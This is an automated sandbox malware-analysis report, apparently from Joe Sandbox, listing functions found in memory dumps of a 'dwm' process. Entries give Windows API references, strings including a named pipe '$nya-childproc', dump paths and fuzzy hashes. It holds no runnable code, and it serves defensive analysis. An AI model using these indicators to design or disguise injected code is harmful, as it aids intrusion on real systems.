Part of subcall function 00000262F1EBA544: __GetUnwindTryBlock.LIBCMT ref: 00000262F1EBA587
Part of subcall function 00000262F1EBA544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000262F1EBA5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000262F1EB9761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000262F1EB99AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000262F1EB9ABC

Strings

csm, xrefs: 00000262F1EB96A3
csm, xrefs: 00000262F1EB9784
csm, xrefs: 00000262F1EB970A

Memory Dump Source

Source File: 00000012.00000003.1494451949.00000262F1EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000262F1EB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1eb0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: 2e8a0e5b5e82ce01629f168f628000d8c7409aab03160c131e47597a4f9aa8e4
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: 2CD17A72604BA0CAEB60DF65949C3AD77F0F785788F940215EE8957F9ADB3AC099C700

Function 00000262F1D0A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000262F1D0A289

Part of subcall function 00000262F1D0B144: __GetUnwindTryBlock.LIBCMT ref: 00000262F1D0B187
Part of subcall function 00000262F1D0B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000262F1D0B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000262F1D0A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000262F1D0A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000262F1D0A6BC

Strings

csm, xrefs: 00000262F1D0A2A3
csm, xrefs: 00000262F1D0A30A
csm, xrefs: 00000262F1D0A384

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: ed68b2b49a46152e751ac607c1fda94ffa2761773422a559bba34cd9e68d9826
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 61D17A33604FA0CAEB28DB65945C39D77B0F785B88F900215EA8957F9ADB36D589CB00

Function 00000262F1CA104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000262F1CA10B1
RegEnumValueW.ADVAPI32 ref: 00000262F1CA1117
GetProcessHeap.KERNEL32 ref: 00000262F1CA115A
HeapAlloc.KERNEL32 ref: 00000262F1CA1168
GetProcessHeap.KERNEL32 ref: 00000262F1CA1185
HeapFree.KERNEL32 ref: 00000262F1CA1193

Strings

d, xrefs: 00000262F1CA10D6

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 221bf94359fd7e7b1e28a2d40d6110b21edc986eb1a18df4c85078b62c1ace4e
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 0D419F73214F84CAE761CF61E45839A77B1F388B88F848129DB8947B98DF39D449CB01

Function 00000262F1D0104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000262F1D010B1
RegEnumValueW.ADVAPI32 ref: 00000262F1D01117
GetProcessHeap.KERNEL32 ref: 00000262F1D0115A
HeapAlloc.KERNEL32 ref: 00000262F1D01168
GetProcessHeap.KERNEL32 ref: 00000262F1D01185
HeapFree.KERNEL32 ref: 00000262F1D01193

Strings

d, xrefs: 00000262F1D010D6

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: d0f75600af824dca34da54e32df4f6236ae98fe8b60280119b9a1718f013f19a
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 45417B32214F94DAE764CF21E44839A77B5F389B98F848229DA8907B5CDF3DC489CB40

Function 00000262F1CA2518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000262F1CA252D
GetCurrentProcessId.KERNEL32 ref: 00000262F1CA2537
CreateFileW.KERNEL32 ref: 00000262F1CA2568
WriteFile.KERNEL32 ref: 00000262F1CA2590
ReadFile.KERNEL32 ref: 00000262F1CA25AF
CloseHandle.KERNEL32 ref: 00000262F1CA25B8

Strings

\\.\pipe\$nya-childproc, xrefs: 00000262F1CA2549

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 87974e93325af33150f708034e4ca2ca179f1c7030491a6afd5d027639728c69
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 93113432618B60C2E710CB21F45C35A7770F389BA4F940225EA9A42EE9DF3EC148CF42

Function 00000262F1D02518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000262F1D0252D
GetCurrentProcessId.KERNEL32 ref: 00000262F1D02537
CreateFileW.KERNEL32 ref: 00000262F1D02568
WriteFile.KERNEL32 ref: 00000262F1D02590
ReadFile.KERNEL32 ref: 00000262F1D025AF
CloseHandle.KERNEL32 ref: 00000262F1D025B8

Strings

\\.\pipe\$nya-childproc, xrefs: 00000262F1D02549

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: e0a6551b3a49e7bdcdd879917064d0077e5fa16422dcff55c9419180316aa286
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: E7112636618A64C2F710CB61F41C35A6770F389BA4F944215EA9A12EA8CF3EC148CF40

Function 00000262F1CA7C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000262F1CA7C78
__scrt_acquire_startup_lock.LIBCMT ref: 00000262F1CA7CCA
_RTC_Initialize.LIBCMT ref: 00000262F1CA7CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000262F1CA7D1E
__scrt_release_startup_lock.LIBCMT ref: 00000262F1CA7D49

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 5f3ad5a14ba210a8664d9c5c138e7134c0bed5c9a3e30d19fa11e962ab184ee8
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 7381C431A00F60C6FA569F67987D3A966B0BB85B84FC440359A0887FD6DB3BC94D8703

Function 00000262F1EB7050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000262F1EB7078
__scrt_acquire_startup_lock.LIBCMT ref: 00000262F1EB70CA
_RTC_Initialize.LIBCMT ref: 00000262F1EB70F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000262F1EB711E
__scrt_release_startup_lock.LIBCMT ref: 00000262F1EB7149

Memory Dump Source

Source File: 00000012.00000003.1494451949.00000262F1EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000262F1EB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1eb0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 954f551f73277cc29f068abb0c777f6cfa6a27ac45816fa04d8c83b98ceb3d44
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 5081D430E01E71C6FB55EB65984D39962F1AB86780FC44025AE4847FF6DA3BC86EC710

Function 00000262F1D07C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000262F1D07C78
__scrt_acquire_startup_lock.LIBCMT ref: 00000262F1D07CCA
_RTC_Initialize.LIBCMT ref: 00000262F1D07CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000262F1D07D1E
__scrt_release_startup_lock.LIBCMT ref: 00000262F1D07D49

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 4e1155df835efa0719f4472f38cc64617c0eaa2406ef8cd2b946ac3c9351b30b
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 9D811831B00F75C6FB54AB66944D3A967B1AB85F84FC44118AA884BF9FDB3BC84D8700

Function 00000262F1CA9AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000262F1CA9C6B,?,?,?,00000262F1CA945C,?,?,?,?,00000262F1CA8F65), ref: 00000262F1CA9B31
GetLastError.KERNEL32(?,?,?,00000262F1CA9C6B,?,?,?,00000262F1CA945C,?,?,?,?,00000262F1CA8F65), ref: 00000262F1CA9B3F
LoadLibraryExW.KERNEL32(?,?,?,00000262F1CA9C6B,?,?,?,00000262F1CA945C,?,?,?,?,00000262F1CA8F65), ref: 00000262F1CA9B69
FreeLibrary.KERNEL32(?,?,?,00000262F1CA9C6B,?,?,?,00000262F1CA945C,?,?,?,?,00000262F1CA8F65), ref: 00000262F1CA9BD7
GetProcAddress.KERNEL32(?,?,?,00000262F1CA9C6B,?,?,?,00000262F1CA945C,?,?,?,?,00000262F1CA8F65), ref: 00000262F1CA9BE3

Strings

api-ms-, xrefs: 00000262F1CA9B51

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 4b062c0a1edb3f0c0f3223a4027fa542cbb00628e4faf89c5560c2a8c96f6348
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 8D318F31212E64D5EF23DB06A82D7A523B4B745BA0FD906359D198AFD0DF3AC4588712

Function 00000262F1D09AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000262F1D09C6B,?,?,?,00000262F1D0945C,?,?,?,?,00000262F1D08F65), ref: 00000262F1D09B31
GetLastError.KERNEL32(?,?,?,00000262F1D09C6B,?,?,?,00000262F1D0945C,?,?,?,?,00000262F1D08F65), ref: 00000262F1D09B3F
LoadLibraryExW.KERNEL32(?,?,?,00000262F1D09C6B,?,?,?,00000262F1D0945C,?,?,?,?,00000262F1D08F65), ref: 00000262F1D09B69
FreeLibrary.KERNEL32(?,?,?,00000262F1D09C6B,?,?,?,00000262F1D0945C,?,?,?,?,00000262F1D08F65), ref: 00000262F1D09BD7
GetProcAddress.KERNEL32(?,?,?,00000262F1D09C6B,?,?,?,00000262F1D0945C,?,?,?,?,00000262F1D08F65), ref: 00000262F1D09BE3

Strings

api-ms-, xrefs: 00000262F1D09B51

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: c134f5d95e5f3e3789fb47a7a575c44016183812e30985e25b5e373fb4f62483
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: C331BE31212E64D1FE19DB12A89C7A923B4BB49FB4FD90624ED1D47B98EF3AC4488700

Function 00000262F1CB3400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000262F1CB3431
GetLastError.KERNEL32 ref: 00000262F1CB343D
CloseHandle.KERNEL32 ref: 00000262F1CB3455
CreateFileW.KERNEL32 ref: 00000262F1CB3480
WriteConsoleW.KERNEL32 ref: 00000262F1CB349F

Strings

CONOUT$, xrefs: 00000262F1CB3461

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: f4de2d2b509f9ce663ded213ee1def69de5e51e4478d8841ccbd293a019bfbd5
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 15115B35210EA0C6E751CB96F85C71966B4F788BE4F844224EA5E87FE4CF7AC8188B41

Function 00000262F1D13400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000262F1D13431
GetLastError.KERNEL32 ref: 00000262F1D1343D
CloseHandle.KERNEL32 ref: 00000262F1D13455
CreateFileW.KERNEL32 ref: 00000262F1D13480
WriteConsoleW.KERNEL32 ref: 00000262F1D1349F

Strings

CONOUT$, xrefs: 00000262F1D13461

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: a7d6f9bfa1550791c85832eaf6063042553c654316190d3bee1c3ab53e0af859
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 40114C35210EA0C6F7518B52A85C71977B0B78DBE4F844214EA5E97FA4CB3EC4088B40

Function 00000262F1D43400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000262F1D43431
GetLastError.KERNEL32 ref: 00000262F1D4343D
CloseHandle.KERNEL32 ref: 00000262F1D43455
CreateFileW.KERNEL32 ref: 00000262F1D43480
WriteConsoleW.KERNEL32 ref: 00000262F1D4349F

Strings

CONOUT$, xrefs: 00000262F1D43461

Memory Dump Source

Source File: 00000012.00000002.3448872342.00000262F1D31000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D30000, based on PE: true

Associated: 00000012.00000002.3448816247.00000262F1D30000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448971011.00000262F1D45000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449077595.00000262F1D50000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449181058.00000262F1D52000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449289748.00000262F1D59000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d30000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 831fb59a5558e7ee6d0df7a14871686ac93fcd69a9d63bcd8d369944c28b25c6
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 7D115B35210FA0C6E7558B56E95D71A67B0F788BE4F844224EA5E87F94CF3AC8088B40

Function 00000262F1D06270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000262F1D062AB
GetThreadContext.KERNEL32 ref: 00000262F1D06415

Part of subcall function 00000262F1D060A0: GetCurrentThreadId.KERNEL32 ref: 00000262F1D060A4

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 193b8fc8fb425592c6930a3807b5cc66773ebd8d092fb9ab969b968d6749d96b
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: CCD16A76209F98C1DA74DB1AE49835A77B0F788F88F900116EACD47BA9DF3AC555CB00

Function 00000262F1CA2098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00000262F1CA20A6
TlsFree.KERNEL32 ref: 00000262F1CA225F
TlsFree.KERNEL32 ref: 00000262F1CA226B
TlsFree.KERNEL32 ref: 00000262F1CA2277
TlsFree.KERNEL32 ref: 00000262F1CA2283
TlsFree.KERNEL32 ref: 00000262F1CA228F

Part of subcall function 00000262F1CA5E50: GetCurrentThreadId.KERNEL32 ref: 00000262F1CA5E66

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
Instruction ID: dbe872ae4494f920a7f9ca5d67cb4c97ff9bbafee3b0e37269550e5c3d8de24f
Opcode Fuzzy Hash: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
